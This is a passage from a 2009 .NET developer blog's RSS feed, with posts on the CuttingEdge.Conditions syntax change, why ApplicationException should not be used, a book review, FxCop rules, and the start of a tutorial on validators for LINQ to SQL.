href="http://conditions.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=31750" title="CuttingEdge.Conditions v1.0">coming stable release</a> of CuttingEdge.Conditions will contain this change.<br /><br /><font color="#ff0000">Please note that this post also supplies some code that you can add to your project that allows you to revert to the old syntax.</font></p><h5>Five reasons to change</h5><p>There are mainly five reasons why I decided to drop the extension behavior on the <span class="code">Requires()</span> and <span class="code">Ensures()</span> entry point methods. </p><h6>1. Not all .NET languages fully support the old syntax.</h6><p>The <span class="code">Requires()</span> and <span class="code">Ensures()</span> methods extended <span class="code">System.Object</span> and VB.NET can not handle extension methods on <span class="code">System.Object</span> due to its late binding capabilities. Calling <span class="code">obj.Requires()</span> would result in a runtime exception. For this reason the <a rel="external" href="http://conditions.codeplex.com/" title="CuttingEdge.Conditions @ CodePlex">Conditions homepage</a> on CodePlex already used the <span class="code">Condition.Requires</span> syntax in the VB examples. Because of this, the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=31" title=".NET Junkie - Book: Framework Design Guidelines: Conventions, Idioms, and Patterns for Reusable .NET Libraries">Framework Design Guidelines</a> warn against the use of extension methods on the type <span class="code">System.Object</span>.</p><h6>2. The extension methods clutter IntelliSense.</h6><p>The <span class="code">Requires()</span> and <span class="code">Ensures()</span> method are shown in the IntelliSense drop down list for each and every object in the IDE; even when a developer isn't validating. This clutters the IntelliSense and this could confuse developers.</p><h6>3. C# code snippets are less productive when generated with extension methods.</h6><p>While the code snippets engine of the VB.NET IDE allows the insertion of namespaces, the C# IDE does not have this ability (and we shouldn't expect <a rel="external" href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=353131" title="Microsoft Connect - Let a code snippet auto insert a namespace at the top of your page.">such a feature</a> to be added soon). Normally, this isn't a big problem, because the C# IDE makes it easy to include a missing namespace, by pressing CTRL + DOT, ENTER on a type. When using extension methods however, the C# IDE is unable to determine the namespace of the extension method (because there is no type specified explicitly). This means that a developer must still add the CuttingEdge.Conditions namespace manually on the top of the file, after using one of the code snippets. However, when the code snippets generate '<span class="code">Condition.Requires(x, &quot;x&quot;)</span>', a developer can move his cursor to the unknown <span class="type">Condition</span>  type and let the IDE insert the missing namespace very quickly.</p><h6>4. Recognizing blocks of pre- and postconditions is easier with the new syntax.</h6><p>This is actually a argument I heard from several developers, who use Conditions in their production code. Although <span class="code">x.Requires().IsNotNull()</span> syntax is very readable as an individual line, most methods will have several lines of preconditions, and those developers noted that the <span class="code">Condition.Requires(x)</span> syntax groups those statements very nicely together. I must say I agree with them.</p><h6>5. Leaving extension methods out of the library allows developers to choose one over the other.</h6><p>It's actually pretty easy (as I will show shortly) to add some code in your own project that defines <span class="code">Requires()</span> and <span class="code">Ensures()</span> extension methods. However, when Conditions defines those methods as extension methods, developers have no possibility to remove them (unless of course they create a private build of the library). An option would be to define the extension methods in another namespace within the Conditions assembly, as the Framework Design Guidelines advice, but I&rsquo;m not fond of that idea in this situation. This means that the developers using extension methods, have to include two namespaces in each file and this is less intuitive.<br /><br />I hope I've convinced you that this change is for the better, but if you, despite my arguments, still want the old syntax, please include the following code in your project. Most convenient is to put this class in the root namespace of your project.</p><pre class="cs" language="csharp" customtypes="ConditionValidator Condition" customvaluetypes="PutYourCustomValueTypesHere">using CuttingEdge.Conditions;<br /><br />/// &lt;summary&gt;<br />/// This class defines extension methods for the <br />/// CuttingEdge.Conditions Requires and Ensures entry point <br />/// methods.<br />/// &lt;/summary&gt;<br />internal static class ConditionExtensions<br />{<br />    /// &lt;summary&gt;<br />    /// Returns a new &lt;see cref=&quot;ConditionValidator{T}&quot; /&gt; that allows<br />    /// you to validate the preconditions of the given argument, given<br />    /// it a default ArgumentName of 'value'.<br />    /// &lt;/summary&gt;<br />    public static ConditionValidator&lt;T&gt; Requires&lt;T&gt;(this T value)<br />    {<br />        return Condition.Requires&lt;T&gt;(value);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns a new &lt;see cref=&quot;ConditionValidator{T}&quot; /&gt; that allows<br />    /// you to validate the preconditions of the given argument.<br />    /// &lt;/summary&gt;<br />    public static ConditionValidator&lt;T&gt; Requires&lt;T&gt;(this T value,<br />        string argumentName)<br />    {<br />        return Condition.Requires&lt;T&gt;(value, argumentName);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns a new &lt;see cref=&quot;ConditionValidator{T}&quot; /&gt; that allows<br />    /// you to validate the given argument, given it a default<br />    /// ArgumentName of 'value'.<br />    /// &lt;/summary&gt;<br />    public static ConditionValidator&lt;T&gt; Ensures&lt;T&gt;(this T value)<br />    {<br />        return Condition.Ensures&lt;T&gt;(value);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns a new &lt;see cref=&quot;Validator{T}&quot;&gt;Validator&lt;/see&gt; that<br />    /// allows you to validate the postconditions of the given object.<br />    /// &lt;/summary&gt;<br />    public static ConditionValidator&lt;T&gt; Ensures&lt;T&gt;(this T value,<br />        string argumentName)<br />    {<br />        return Condition.Ensures&lt;T&gt;(value, argumentName);<br />    }<br />}<br /></pre><p>As always: Happy validating ;-)</p> ]]></description>
			<guid isPermaLink="false">57@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ</category>
			<pubDate>Mon, 24 Aug 2009 17:49:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>The evilness of ApplicationException</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=56</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=56#comm</comments>
                        <description><![CDATA[ This post explains what&rsquo;s wrong with ApplicationException and why it should not be used.<p>For over three years the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=31" title=".NET Junkie - Book: Framework Design Guidelines: Conventions, Idioms, and Patterns for Reusable .NET Libraries">Framework Design Guidelines</a> (also available <a rel="external" href="http://msdn.microsoft.com/en-us/library/ms229042.aspx" title="Online version of the Framework Design Guidelines">online on MSDN</a>) make a clear statement about the use of <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.applicationexception.aspx" title="MSDN - .NET Framework Class Library - ApplicationException Class">ApplicationException</a>:</p><blockquote>DO NOT throw or derive from System.ApplicationException.</blockquote><p>The reason for the existence of <span class="type">ApplicationException</span> is explained by <a rel="external" href="http://www.wintellect.com/cs/blogs/jeffreyr/default.aspx" title="Jeffrey Richter's Blog">Jeffrey Richter</a> in the Framework Design Guidelines:</p><blockquote>The original idea was that classes derived from SystemException would indicate exceptions thrown from the CLR (or system) itself, whereas non-CLR exceptions would be derived from ApplicationException.</blockquote><p>There are two problems with this idea however. First of all it's very questionable if there is any use in separating CLR exceptions from non-CLR exceptions. You hardly ever want to catch all non-CLR exceptions or inverse: catch CLR exceptions. They are both just too general to catch. Second, not all exceptions in the .NET framework follow this pattern; some CLR exceptions do inherit from <span class="type">ApplicationException</span> (such as <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.reflection.targetexception.aspx" title="MSDN - .NET Framework Class Library - TargetException Class">TargetException</a>, <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.reflection.targetinvocationexception.aspx" title="MSDN - .NET Framework Class Library - TargetInvocationException Class">TargetInvocationException</a> and <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.threading.waithandlecannotbeopenedexception.aspx" title="MSDN - .NET Framework Class Library - WaitHandleCannotBeOpenedException Class">WaitHandleCannotBeOpenendException</a>). This defeats the whole idea of having an <span class="type">ApplicationException</span> in the first place. <br /><br />While Framework Design Guidelines are very clear about this, outdated documents and guidelines are still floating on the web that recommend using <span class="type">ApplicationException</span>. Some even published by Microsoft!<br />&nbsp;&nbsp; &nbsp;<br />The <span class="type">ApplicationException</span> in itself isn't considered harmful, inheriting from it is just considered <a rel="external" href="http://blogs.msdn.com/kcwalina/archive/2006/06/23/644822.aspx" title="Krzysztof Cwalina - ApplicationException considered useless">useless</a>. It gets harmful, when catching <span class="type">ApplicationException</span>. Not only does the .NET framework itself throw exceptions that derive from <span class="type">ApplicationException</span>, but a lot popular frameworks you might use in your production code throw exceptions that derive from <span class="type">ApplicationException</span> (such as tools from <a rel="external" href="http://www.telerik.com/" title="Telerik">Telerik</a>, <a rel="external" href="http://www.aspose.com/" title="Aspose">Aspose</a>, <a rel="external" href="http://www.llblgen.com/" title="LLBLGen">LLBLGen</a>, Microsoft's <a rel="external" href="http://www.codeplex.com/entlib" title="Codeplex - Enterprise Library">Enterprise Library</a>, <a rel="external" href="http://logging.apache.org/log4net//index.html" title="Log4net">Log4net</a>, <a rel="external" href="http://dev.mysql.com/downloads/connector/net/6.0.html" title="MySQL .NET provider">MySQL</a>, <a rel="external" href="http://www.icsharpcode.net/" title="IC#Code">ICSharpCode</a>, <a rel="external" href="http://www.aspnetemail.com/" title="aspNetMail">aspNetEmail</a>, <a rel="external" href="http://www.html-to-pdf.net/ExpertPDF-HtmlToPdf-Converter.aspx" title="Html-to-pdf">Html-to-pdf</a> and many, many more).<br /><br />That makes catching an <span class="type">ApplicationException</span> so general that I consider it similar to catching the <span class="type">Exception</span> base class. You simply never know what you're catching.<br /><br />While inheriting from <span class="type">ApplicationException</span> itself has no evil in it, the problem starts when you, as a framework or application developer, derive all your exceptions directly from <span class="type">ApplicationException</span>. For instance, a few years ago on a project of one of my clients, the developers defined exceptions that were thrown by the business layer and contained information for the end user. The exceptions were caught at the presentation level and subsequently displayed on the user interface. While there's nothing wrong in doing this, the problem was that these 'end user exceptions' all inherited directly from <span class="type">ApplicationException</span> and the presentation layer caught those <span class="type">ApplicationException</span>s. It&rsquo;s not surprising that once in a while technical exception messages were displayed to the end user. Showing technical information to your users will not only annoy them, it could cause a security risk, because <a rel="external" href="http://www.owasp.org/index.php/Top_10_2007-Information_Leakage_and_Improper_Error_Handling" title="OWASP TOP 10: Information Leakage and Improper Error Handling">you&rsquo;re leaking information</a>.<br /><br />Another client recently went even further. While the developers did actually define their own exception base class for business layer exceptions (which is a good thing), they decided to name it &lsquo;ApplicationException&rsquo;. What they didn&rsquo;t realize that about 75% of the time they actually caught the real <span class="code">System.</span><span class="type">ApplicationException</span> instead of their own business layer exception. This caused all sort of subtle, hard to find bugs. The remedy was to rename the exception and fix all lines were <span class="code">System.</span><span class="type">ApplicationException</span> was caught.<br /><br />While the OR/M mapper framework LLBLGen uses <span class="type">ApplicationException</span>, the design is better than the cases above. LLBLGen defines a base exception (called <span class="type">ORMException</span>) from which all other exceptions inherit. <span class="type">ORMException</span> inherits from <span class="type">ApplicationException</span> and thus all LLBLGen exceptions inherit from it. Catching an LLBLGen exception however, can be done by catching <span class="type">ORMException</span> and therefore it's not a problem that <span class="type">ORMException</span> inherits from <span class="type">ApplicationException</span>. Still, it's useless and while being a breaking change, I still advice LLBLGen to let <span class="type">ORMException</span> directly inherit from <span class="type">Exception</span>. This way LLBLGen exceptions can not accidentally be caught when a application developer catches <span class="type">ApplicationException</span>.<br /><br />If you&rsquo;re maintaining an existing code base, especially the code base of a reusable framework, you have to be careful when making breaking changes, like removing <span class="type">ApplicationException</span> from the inheritance hierarchy. However, when building a new framework or application, just don&rsquo;t use <span class="type">ApplicationException</span>.</p><p>Cheers.</p> ]]></description>
			<guid isPermaLink="false">56@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Thu, 20 Aug 2009 13:14:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Book: Microsoft .NET: Architecting Applications for the Enterprise.</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=55</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=55#comm</comments>
                        <description><![CDATA[ Last month I read &lsquo;Microsoft .NET: Architecting Applications for the Enterprise&rsquo;, written by Dino Esposito and Andrea Saltarello. This book is a great piece of work.<p><a rel="external" href="http://www.amazon.com/dp/073562609X" title="Amazon.com - Microsoft .NET: Architecting Applications for the ">Microsoft .NET: Architecting Applications for the Enterprise</a> discusses many design principles and applies them to the .NET space. There are a wide range of concepts, patterns, and technologies discussed. The book discusses the layers of a default architecture, such as <a rel="external" href="http://en.wikipedia.org/wiki/Data_access_layer" title="Wikipedia - Data access layer">Data Access Layer</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Business_layer" title="Wikipedia - Business logic layer">Business Layer</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Service_layer" title="Wikipedia - Service layer">Service Layer</a>, and Presentation Layer. Each of these layers are discussed in their own chapter and relevant patterns and practices are discussed with each layer.<br /><br />The book discusses concepts like: <a rel="external" href="http://en.wikipedia.org/wiki/Separation_of_concerns" title="Wikipedia - Separation of concerns">Separation of Concerns</a>, the <a rel="external" href="http://en.wikipedia.org/wiki/Open/closed_principle" title="Wikipedia - Open/closed principle">Open/Closed Principle</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" title="Wikipedia - Liskov substitution principle">Liskov Substitution Principle</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Object_Relational_Mapping" title="Wikipedia - Object-relational mapping">Object-Relational Mapping</a>, and <a rel="external" href="http://en.wikipedia.org/wiki/Aspect_Oriented_Programming" title="Wikipedia - Aspect-oriented programming">Aspect-Oriented Programming</a>. The book also discusses patterns such as <a rel="external" href="http://martinfowler.com/eaaCatalog/transactionScript.html" title="Martin Fowler - Transaction Script">Transaction Script</a>, <a rel="external" href="http://martinfowler.com/eaaCatalog/tableModule.html" title="Martin Fowler - Table Module">Table Module</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Active_record_pattern" title="Wikipedia - Active record pattern">Active Record</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Domain-driven_design" title="Wikipedia - Domain-driven design">Domain Model</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Data_transfer_object" title="Wikipedia - Data Transfer Object">Data Transfer Object</a>, <a rel="external" href="http://en.wikipedia.org/wiki/Inversion_of_control" title="Wikipedia - Inversion of control">Inversion of Control</a>, <a rel="external" href="http://nl.wikipedia.org/wiki/Model-view-controller-model" title="Wikipedia - Model-view-controller-model">Model-View-Controller</a>, and <a rel="external" href="http://en.wikipedia.org/wiki/Model-view-presenter" title="Wikipedia - Model-view-presenter">Model-View-Presenter</a>.<br /><br />A lot of the subjects, frameworks and patterns in this book deserve a book of their own, therefore the book doesn&rsquo;t discuss most of them in-depth, but this -in my opinion- is actually the beauty of the book; most of the time it discusses just enough to get a good picture of the considerations you will have to make as an architect. It gives you a great start for further exploration.<br /><br />What I especially like about the book is the discussion on topics like the Domain Model and Data Transfer Objects. <a rel="external" href="http://weblogs.asp.net/despos/" title="Dino Esposito's weblog">Dino</a> and <a rel="external" href="http://www.linkedin.com/pub/andrea-saltarello/5/337/228" title="LinkedIn - Andrea Saltarello">Andrea</a> discuss the Domain Model Pattern and do a good job in explaining the difficulties with it. I&rsquo;ve read <a rel="external" href="http://jimmynilsson.com/blog/" title="Jimmy Nilsson's Weblog">Jimmy Nilsson</a>&rsquo;s <a rel="external" href="http://www.amazon.com/exec/obidos/ASIN/0321268202" title="Amazon - Applying Domain-Driven Design and Patterns: With Examples in C# and .NET">book about Domain-Driven Design</a>. While I love Jimmy&rsquo;s book, he never discussed the Domain Model&rsquo;s tradeoffs, Architecting Applications for the Enterprise actually does explain this. The bottom line is: Domain Model isn't suited for every organization; you should choose wisely and Dino and Andrea help you to make that decision.<br /><br />With the use of Data Transfer Objects (DTO), the writers explain that DTOs are good for separating the Domain layer from the Presentation layer, but also warn that &quot;<em>In large projects with so many entities, DTOs add a remarkable level of (extra) complexity and work to do</em>&quot;. <a rel="external" href="http://msdn.microsoft.com/nl-nl/magazine/ee236638%28en-us%29.aspx" title="MSDN Magazine - Pros and Cons of Data Transfer Objects">Dino's recent MSDN article</a> is basically a summary of that discussion in the book.<br /><br />I had one big annoyance with the book though, which is it&rsquo;s extensive use of acronyms. For instance, after discussing a new pattern, such as Transaction Script, Table Module, Active Record, or Domain Model (and many more), the remainder of the book referred to their acronyms TS, TM, AR, and DM. More than once I had to go back many pages to figure out what a certain acronym meant.<br /><br />My final conclusion is that this is a great book. In case you want to know more about architecture applied to .NET concepts, you&rsquo;d better start reading this book!</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/architecting_applications_for_the_enterprise.jpg" style="border:0px solid" title="Microsoft .NET" alt="Microsoft .NET" class="pivot-image" /></p> ]]></description>
			<guid isPermaLink="false">55@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Books</category>
			<pubDate>Tue, 18 Aug 2009 17:32:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Free C# 3.0 Pocket Reference ebook</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=54</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=54#comm</comments>
                        <description><![CDATA[ Just found this free ebook on the <a rel="external" href="http://www.red-gate.com" title="Red Gate">Red Gate</a> site:<blockquote>This book is for busy programmers who want a succinct and yet readable guide to C# 3.0 and LINQ.<br /> C# 3.0 Pocket Reference, written by Joseph and Ben Albahari, tells you exactly what you need to know, without long introductions or bloated samples. Boost your C# expertise and keep ahead of your peers! <a rel="external" href="http://www.red-gate.com/products/ants_performance_profiler/be_ahead_of_the_game_ebook.htm?utm_source=simpletalk&amp;utm_medium=email&amp;utm_content=nlv_aheadofgame-ebook&amp;utm_campaign=antsperformanceprofiler" title="Red Gate - Free ebook on C# 3.0">-&gt;</a><br /></blockquote><p>Download it here: <a rel="external" href="http://downloads.red-gate.com/ebooks/DotNet/Csharp3_Pocket_Reference_Second_Edition.zip" title="C# Pocket Reference Second Edition pdf">C# Pocket Reference Second Edition</a></p><p><font color="#ff0000">UPDATE: </font>Sorry, the pocket reference can not be downloaded from the Red Gate site anymore. But with a bit of smart googling, you might still find it.</p> ]]></description>
			<guid isPermaLink="false">54@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Books, C#</category>
			<pubDate>Mon, 17 Aug 2009 10:27:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Choosing FxCop rules for Line Of Business applications</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=53</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=53#comm</comments>
                        <description><![CDATA[ <a rel="external" href="http://www.dennisdoomen.net" title="Dennis Doomen's weblog">Dennis Doomen</a>, architect at <a rel="external" href="http://www.avivasolutions.nl/" title="Aviva Solutions">Aviva Solutions</a>, <a rel="external" href="http://www.dennisdoomen.net/2009/03/new-coding-guidelines-for-c-30.html" title="Dennis Doomen's weblog - New coding guidelines for C# 3.0">published</a> a set of C# 3.0 Coding Guidelines a few months ago. While a lot of different C# coding guidelines can be found on the web, this one caught my attention.The last four pages of the <a rel="external" href="http://blog.avivasolutions.nl/Attachments/AvSol%20CSharp%203.0%20Coding%20Guidelines.pdf" title="C# 3.0 Coding Guidelines Guidelines for .NET development">document</a> consist of the list of <a rel="external" href="http://msdn.microsoft.com/en-us/library/bb429476%28VS.80%29.aspx" title="MSDN - FxCop">Microsoft Code Analysis</a> (a.k.a. FxCop) rules. What makes this list great is that Dennis made a distinction between two types of .NET code bases, namely: <a rel="external" href="http://en.wikipedia.org/wiki/Line_of_Business" title="Wikipedia - Line of business">Line Of Business</a> (LOB) applications and reusable Frameworks. Because FxCop was primarily written to validate the .NET framework itself, it focuses on validating reusable frameworks. We could therefore expect most FxCop rules to hold especially for frameworks. For LOB applications however, not all rules apply. Dennis recognized this and made a distinction between the two types.<br /><br />I've seen organizations struggle with choosing FxCop rules. In my opinion this list is a great way to get started. ]]></description>
			<guid isPermaLink="false">53@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Sun, 16 Aug 2009 11:09:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Porting a LINQ to SQL to Entity Framework project</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=52</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=52#comm</comments>
                        <description><![CDATA[ The Entity Framework Design blog just published a template that enables converting a LINQ to SQL .dbml file to a Entity Framework .edmx file.<p>Note that this is not a complete solution and that the template is still in development. However, the template is a useful first step when migrating to Entity Framework </p><p>Read more on the <a rel="external" href="http://blogs.msdn.com/efdesign/archive/2009/08/13/linq-to-sql-to-entity-framework-conversion-template.aspx" title="Entity Framework Design - LINQ to SQL to Entity Framework conversion template">Entity Framework Design blog</a>.</p> ]]></description>
			<guid isPermaLink="false">52@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ADO.NET, Entity Framework, LINQ, LINQ to SQL</category>
			<pubDate>Sat, 15 Aug 2009 11:28:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>NCover supports CuttingEdge.Conditions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=51</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=51#comm</comments>
                        <description><![CDATA[ The <a rel="external" href="http://www.ncover.com/" title="NCover">NCover</a> team has supported my open source <a rel="external" href="http://conditions.codeplex.com/" title="CuttingEdge.Conditions on CodePlex">CuttingEdge.Conditions</a> project by donating a license of this cool tool.<p><img src="http://www.cuttingedge.it/blogs/steven/images/ncover.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:0px solid" title="" alt="" class="pivot-image" />This is great news for me, because I was using the trial version for almost a year now to check the unit test coverage of CuttingEdge.Conditions. I achieved this by reinstalling the trial in a virtual machine every once in a while. Besides being pretty annoying, it didn&rsquo;t legally 'cover' me :-). But since I&rsquo;m not making any money of CuttingEdge.Conditions I couldn&rsquo;t afford a commercial license. But I&rsquo;m happily to say that those days are over and I&rsquo;ll try to keep the coverage level about the same as it is today: 100%.</p><p>Thanks to the <a rel="external" href="http://www.ncover.com/" title="NCover">NCover</a> team!</p> ]]></description>
			<guid isPermaLink="false">51@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>CuttingEdge.Conditions, Visual Studio</category>
			<pubDate>Fri, 14 Aug 2009 14:21:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>I went to the DevDays...</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=50</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=50#comm</comments>
                        <description><![CDATA[ <p>... and all I got was this lousy CodePlex Sticker.</p><p>I attented a lot of interesting sessions last two days at the <a rel="external" href="http://devdays.nl" title="DevDays09">Dutch Microsoft DevDays conference</a>. I also addended <a rel="external" href="http://blogs.msdn.com/saraford/" title="Sara Ford's weblog">Sara Ford</a>'s session about CodePlex. As a CodePlex project owner (for <a rel="external" href="http://conditions.codeplex.com" title="CodePlex - CuttingEdge.Conditions">Conditions</a> and <a rel="external" href="http://logging.codeplex.com" title="CodePlex - CuttingEdge.Logging">Logging</a>) I of course had to attend this session. Sara presented us with this lovely CodePlex promotion material ;-)</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/codeplexsticker.jpg" style="border:0px solid" title="CodePlex Sticker" alt="CodePlex Sticker" class="pivot-image" /></p> ]]></description>
			<guid isPermaLink="false">50@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>default</category>
			<pubDate>Fri, 29 May 2009 23:08:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 3: The complexity of custom validators.</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=49</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=49#comm</comments>
                        <description><![CDATA[ This article shows the complexity a developer is facing, implementing a custom validator while using an O/RM tool. While the article uses the Validation Application Block and LINQ to SQL in writing the validation logic, the problems encountered in the article are very general.<p>In previous posts (<a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration">here</a> and <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">here</a>), I&rsquo;ve shown how to integrate the <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx" title="Enterprise Library 4.1 - October 2008 The Validation Application Block">Enterprise Library Validation Application Block</a> (VAB) in <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2007/05/19/using-linq-to-sql-part-1.aspx" title="ScottGu's Blog - Using LINQ to SQL (Part 1) ">LINQ to SQL</a> and <a rel="external" href="http://msdn.microsoft.com/en-us/library/aa697427(VS.80).aspx" title="MSDN - The ADO.NET Entity Framework Overview">Entity Framework</a> projects. I showed how to obtain access to a data context from within custom validators, but I also stated that -in the context of <a rel="external" href="http://en.wikipedia.org/wiki/Object-relational_mapping" title="Wikipedia - Object-relational mapping">O/RM</a> frameworks- custom validators that communicate with the database, tend to get pretty complicated quickly.<br /><br />In this post I will try to prove this statement by defining a simple business rule and trying to create a validator for it. The rule is written in seven iterations. Each of these iteration will have a defect which I will try to solve in the version following it. Per version I will try to improve that validator towards a correct solution. I&rsquo;ll also write some supporting <a rel="external" href="http://en.wikipedia.org/wiki/Integration_testing" title="Wikipedia - Integration testing">integration tests</a> to check it&rsquo;s correctness while doing so.<br /><br />The code in this article is based on the <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=06616212-0356-46A0-8DA2-EEBC53A68034&amp;displaylang=en" title="Microsoft Download Center - Northwind and pubs Sample Databases for SQL Server 2000">Northwind</a> database, and I will use the Customers, Orders and Order_Details tables and their associated entities. I&rsquo;ve shown code that works with both LINQ to SQL and Entity Framework in my previous posts, but the code in this post is based on LINQ to SQL only. While the discussed concepts remain the same, Entity Framework has different <a rel="external" href="http://social.msdn.microsoft.com/forums/en-US/adodotnetentityframework/thread/095745fe-dcf0-4142-b684-b7e4a1ab59f0/" title="Microsoft Developer Network &gt; Forums Home &gt; Data Platform Development Forums &gt; ADO.NET Entity Framework and LINQ to Entities &gt; WHERE IN clause?">deficiencies</a>. These could bite you, when trying this out with Entity Framework.<br /><br />The validator built here is based on the following (imaginary) business rule named the &lsquo;unshipped orders rule&rsquo;. It&rsquo;s definition is as follows:</p><blockquote>A customer is not allowed, at a given moment in time, to have more than two unshipped orders.</blockquote><h5>Version 1.0<br /></h5><p>Writing a validator for such a simple business rule couldn&rsquo;t that hard, could it? Below is the first definition of the <span class="type">UnshippedOrdersRuleValidator</span> class:</p><pre class="cs" language="csharp" customtypes="ConfigurationElementType CustomValidatorData UnshippedOrdersRuleValidator Validator ValidationResults Customer" customvaluetypes="PutYourCustomValueTypesHere">[ConfigurationElementType(typeof(CustomValidatorData))]<br />public sealed class UnshippedOrdersRuleValidator : Validator<br />{<br />    private const int MaximumNumberOfUnshippedOrders = 2;<br /><br />    private const string RuleViolationMessage = &quot;Customer with &quot; +<br />        &quot;ID {0} has currently {1} unshipped orders, while {2} &quot; +<br />        &quot;is the maximum permitted number of unshipped orders.&quot;;<br /><br />    public CustomerValidator(NameValueCollection attributes)<br />        : base(string.Empty, string.Empty)<br />    {<br />    }<br /><br />    protected override string DefaultMessageTemplate<br />    {<br />        get { throw new NotImplementedException(); }<br />    }<br /><br />    protected override void DoValidate(object objectToValidate, <br />        object currentTarget, string key, ValidationResults results)<br />    {<br />        Customer customer = (Customer)currentTarget;<br /><br />        int totalUnshippedOrders = (<br />            from order in customer.Orders<br />            where order.ShippedDate == null<br />            select order).Count();<br /><br />        if (totalUnshippedOrders &gt; MaximumNumberOfUnshippedOrders)<br />        {<br />            string message = string.Format(RuleViolationMessage,<br />                customer.CustomerID, totalUnshippedOrders,<br />                MaximumNumberOfUnshippedOrders);<br /><br />            this.LogValidationResult(results, message, <br />                currentTarget, key);<br />        }<br />    }<br />}</pre><p>The class inherits from <span class="type">Validator</span>, which is part of the VAB. The implementation has the required plumbing: It&rsquo;s decorated with the <span class="type">ConfigurationElementTypeAttribute</span> and has a constructor with a <span class="type">NameValueCollection</span> argument. These are needed for it to be configurable using VAB. Please note that I&rsquo;m using hard coded strings for simplicity. You&rsquo;d probably want to use resource based strings in production code. I wanted to show a full working implementation, but from now on, the focus will be on the <span class="code">DoValidate</span> method.<br /><br />The code is rather straight forward. When a customer is validated, it is supplied to the <span class="code">DoValidate</span> method as the <span class="code">currentTarget</span> argument. The argument is casted from <span class="keyword">object</span> back to <span class="type">Customer</span> and the customer&rsquo;s orders collection is queried, by searching for orders with no <span class="code">ShippedDate</span>. The total number of unshipped orders is compared to <span class="code">MaximumNumberOfUnshippedOrders</span>. If the total number of unshipped orders for the customer is greater than the defined maximum, the customer is invalid and a validation result is logged using the <span class="code">LogValidationResult</span> method, which is part of the <span class="type">Validator</span> base class. For the sake of simplicity I&rsquo;ve decided to define the value containing the maximum number of unshipped orders as a <span class="keyword">const</span> instead making it configurable.<br /><br />To be complete, here is the VAB configuration used to get this working (I stripped namespaces of the types for readability):</p><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere">  &lt;validation&gt;<br />    &lt;type name=&quot;Customer&quot; defaultRuleset=&quot;Default&quot;<br />      assemblyName=&quot;Domain&quot;&gt;<br />      &lt;ruleset name=&quot;Default&quot;&gt;<br />        &lt;validator type=&quot;UnshippedOrdersRuleValidator, Validators&quot;<br />          name=&quot;Unshipped Orders Rule Validator&quot; /&gt;<br />      &lt;/ruleset&gt;<br />    &lt;/type&gt;<br />  &lt;/validation&gt;<br /></pre><p>As I 